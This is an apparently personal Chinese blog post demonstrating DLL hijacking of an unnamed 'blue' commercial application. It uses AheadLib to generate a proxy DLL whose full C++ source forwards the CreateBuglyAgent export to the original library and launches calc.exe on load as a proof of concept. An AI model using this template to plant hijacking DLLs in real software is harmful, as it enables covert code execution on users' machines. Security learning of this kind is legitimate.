dll劫持一个蓝色软件
mango

过滤出蓝色软件的进程

image-20240428153042119

找到有loadlibrary的

image-20240428164539388

使用AheadLib生成代码

image-20240428165154174

在vs里面创建一个dll项目,把生成的cpp文件复制到dllmain

注意保留#include "pch.h"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(linker, "/EXPORT:CreateBuglyAgent=client_extensionOrg.CreateBuglyAgent,@1")

#define EXTERNC extern "C"
#define EXPORT __declspec(dllexport)
#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl


BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}

成功劫持

image-20240428203815584

参考:

https://mp.weixin.qq.com/s/YvBb8JoZiHtjyCuW3t9AeA

由 Hexo 驱动 & 主题 Keep
访客数 访问量